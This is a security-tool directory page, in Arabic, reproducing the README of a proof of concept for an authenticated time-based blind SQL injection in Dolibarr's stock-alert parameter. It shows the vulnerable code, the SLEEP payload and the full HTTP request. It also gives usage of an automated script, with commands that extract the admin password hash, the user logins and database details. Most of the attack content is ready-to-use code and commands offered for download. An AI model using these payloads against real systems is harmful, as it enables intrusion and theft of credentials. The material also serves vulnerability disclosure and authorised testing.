Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — الإجراء المسؤول عن تعيين حد تنبيه المخزون لكل مستودع (`seuil_stock_alerte`) يقبل مدخلات يتحكم بها المستخدم ثم يدمجها لاحقًا في استعلام SQL دون تحويل رقمي مناسب أو ربط بالمعاملات. #dolibarr #exploit | Kitploit
أدوات/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
تحليل الثغرات الأمنيةالاستغلالالبرمجة النصية والأتمتةاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن قواعد البيانات
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

الإجراء المسؤول عن تعيين حد تنبيه المخزون لكل مستودع (`seuil_stock_alerte`) يقبل مدخلات يتحكم بها المستخدم ثم يدمجها لاحقًا في استعلام SQL دون تحويل رقمي مناسب أو ربط بالمعاملات. #dolibarr #exploit

عرض المستودع
منذ 18س 27دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Dolibarr — إثبات مفهوم حقن SQL بعد المصادقة

حقن SQL يؤثر على وظيفة إدارة مخزون المنتجات من خلال معامل seuil_stock_alerte.

الإصدارات المتأثرة

تم اختباره وتأكيده على:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (كان يعمل حتى وقت التقرير.)

المعامل المصاب

seuil_stock_alerte

يتم قبول المعامل بواسطة:

root@kitploit:~
/product/stock/product.php

باستخدام إجراء addlimitstockwarehouse.

الاستغلال

يتم استرجاع المعامل دون تحويل رقمي:

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

ثم يصل لاحقًا إلى عبارة SQL من خلال دمج النصوص المباشر:

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

نظرًا لأن القيمة تُدرج في سياق رقمي غير محاط بعلامات اقتباس، يمكن توفير تعبير SQL بدلاً من قيمة رقمية عادية.

حقن SQL الأعمى المعتمد على الوقت

يكفي تعبير منطقي/زمني لإثبات التنفيذ:

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

مثال على المعامل:

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

يُنتج الطلب الناجح تأخيرًا في استجابة HTTP يبلغ حوالي 15 ثانية، مما يؤكد تقييم تعبير SQL المحقون.

الطلب المصاب

يمكن الوصول إلى الإجراء المصاب بطلب مُصادق عليه مشابه لـ:

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

المتطلبات:

  • جلسة مُصادق عليها صالحة
  • رمز CSRF (يُستخرج من صفحة بطاقة المنتج)
  • معرّف المنتج
  • معرّف المستودع

المصادقة والصلاحيات

تم إعادة إنتاج المشكلة بحساب مُصادق عليه يمتلك فقط:

root@kitploit:~
Product → Create (produit/creer)

صلاحية — حساب منخفض الصلاحيات يمكنه إنشاء المنتجات.

التأثير

يتيح حقن SQL ما يلي:

  1. حقن SQL الأعمى المعتمد على الوقت — يمكن تنفيذ الاستعلامات عبر تأخيرات SLEEP
  2. الكشف عن المعلومات — يمكن استخراج محتويات قاعدة البيانات حرفًا بحرف
  3. احتمال تصعيد الصلاحيات — استخراج بيانات اعتماد المسؤول أو البيانات الحساسة
  4. استطلاع قاعدة البيانات — تعداد المخطط عبر طرق الأخطاء أو الطرق الزمنية

منعت قيود مستوى قاعدة البيانات في هذا النظام تنفيذ أوامر نظام التشغيل مباشرة.

أداة الاستغلال

يقوم نص إثبات المفهوم المرفق stock_sqli_poc.py بأتمتة عملية الاستغلال:

الاستخدام

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

الميزات

  • تسجيل دخول تلقائي — يُصادق على الهدف
  • تأكيد الحقن — يتحقق من حقن SQL باستخدام حِمل اختباري (1=1 مقابل 1=2)
  • استخراج بالبحث الثنائي — يستخرج البيانات بكفاءة حرفًا بحرف باستخدام مقارنة ASCII
  • دعم البروكسي — يتكامل مع Burp Suite أو وكلاء HTTP آخرين
  • تأخير قابل للتكوين — يضبط مدة SLEEP لتحقيق الموثوقية

خيارات سطر الأوامر

الخيارالافتراضيالوصف
--urlhttp://127.0.0.1:8088عنوان URL لنسخة Dolibarr المستهدفة
--proxyhttp://127.0.0.1:8080وكيل HTTP (Burp، إلخ). اضبطه على سلسلة فارغة للتعطيل
--loginwebeditorاسم المستخدم للحساب منخفض الصلاحيات
--passwordWebEdit0r!كلمة مرور الحساب
--product-id1معرّف المنتج المستهدف
--warehouse-id1معرّف المستودع المستهدف
--delay1.0مدة SLEEP بالثواني للكشف المعتمد على الوقت
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)تعبير SQL المراد استخراجه
--length14الحد الأقصى لطول الأحرف المراد استخراجها

أمثلة الاستخراج

استخراج تجزئة كلمة مرور المسؤول:

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

تعداد المستخدمين:

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

إصدار قاعدة البيانات:

root@kitploit:~
--extract "VERSION()"

مستخدم قاعدة البيانات الحالي:

root@kitploit:~
--extract "USER()"

⚠️ إشعار قانوني: استخدم هذا الاستغلال فقط ضد الأنظمة التي لديك إذن كتابي صريح بشأنها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. يتم توفير إثبات المفهوم هذا لأغراض تعليمية واختبار أمني مصرح به فقط.

تنزيل الأداة